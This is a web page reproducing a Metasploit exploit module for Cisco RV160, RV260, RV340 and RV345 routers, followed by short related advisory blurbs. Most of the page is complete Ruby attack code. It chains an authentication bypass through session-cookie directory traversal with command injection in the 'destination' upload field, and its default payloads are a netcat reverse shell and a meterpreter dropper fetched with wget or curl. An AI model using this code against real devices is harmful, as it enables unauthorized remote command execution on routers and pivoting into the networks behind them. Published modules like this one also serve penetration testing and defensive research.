Headline
Cisco RV Series Authentication Bypass / Command Injection
This Metasploit module exploits two vulnerabilities, a session ID directory traversal authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340, and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges. This access can then be used to pivot to other parts of the network. This module works on firmware versions 1.0.03.24 and below.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco RV Series Authentication Bypass and Command Injection', 'Description' => %q{ This module exploits two vulnerabilities, a session ID directory traversal authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340, and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges. This access can then be used to pivot to other parts of the network. This module works on firmware versions 1.0.03.24 and below. }, 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Author' => [ 'Biem Pham', # Vulnerability Discoveries 'Neterum', # Metasploit Module 'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb ], 'DisclosureDate' => '2021-11-02', 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'References' => [ ['CVE', '2022-20705'], # Authentication Bypass ['CVE', '2022-20707'], # Command Injection ['ZDI', '22-410'], # Authentication Bypass ['ZDI', '22-411'] # Command Injection ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '\'#' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'Payload' => { 'BadChars' => '\'#' }, 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']) ] ) end # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 def generate_session_id return Rex::Text.rand_text_alphanumeric(16) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/upload', 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id } }, 10) # A proper "upload" will trigger file creation. So the send_request_cgi call # above is an incorrect "upload" call to avoid creating a file on disk. The router will return # status code 405 Not Allowed if authentication has been bypassed by the above request. # The firmware containing this authentication bypass also contains the command injection # vulnerability that will be abused during actual exploitation. Non-vulnerable # firmware versions will respond with 403 Forbidden. if res.nil? return CheckCode::Unknown('The device did not respond to request packet.') elsif res.code == 405 return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.') elsif res.code == 403 return CheckCode::Safe('The device is not vulnerable to exploitation.') else # Catch-all return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.') end end def execute_command(cmd, _opts = {}) res = send_exploit(cmd) # Successful unix_cmd shells should not produce a response. # However if a response is returned, check the status code and return # Failure::NotVulnerable if it is 403 Forbidden. if target['Type'] == :unix_cmd && res&.code == 403 fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable') end if target['Type'] == :linux_dropper fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200 begin body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!') end end print_good('Exploit successfully executed.') end def send_exploit(cmd) filename = Rex::Text.rand_text_alphanumeric(5..12) fileparam = Rex::Text.rand_text_alphanumeric(5..12) input = Rex::Text.rand_text_alphanumeric(5..12) # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 sessionid = Rex::Text.rand_text_alphanumeric(16) filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues. pathparam = 'Configuration' destination = "'; " + cmd + ' #' multipart_form = Rex::MIME::Message.new multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"') multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"') multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"') multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"') multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"') multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename)) # Escaping "/tmp/upload/" folder that does not contain any other permanent files send_request_cgi({ 'method' => 'POST', 'uri' => '/upload', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid }, 'data' => multipart_form.to_s }, 10) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 120) end endend
Related news
SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.
SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.
SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.
SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory.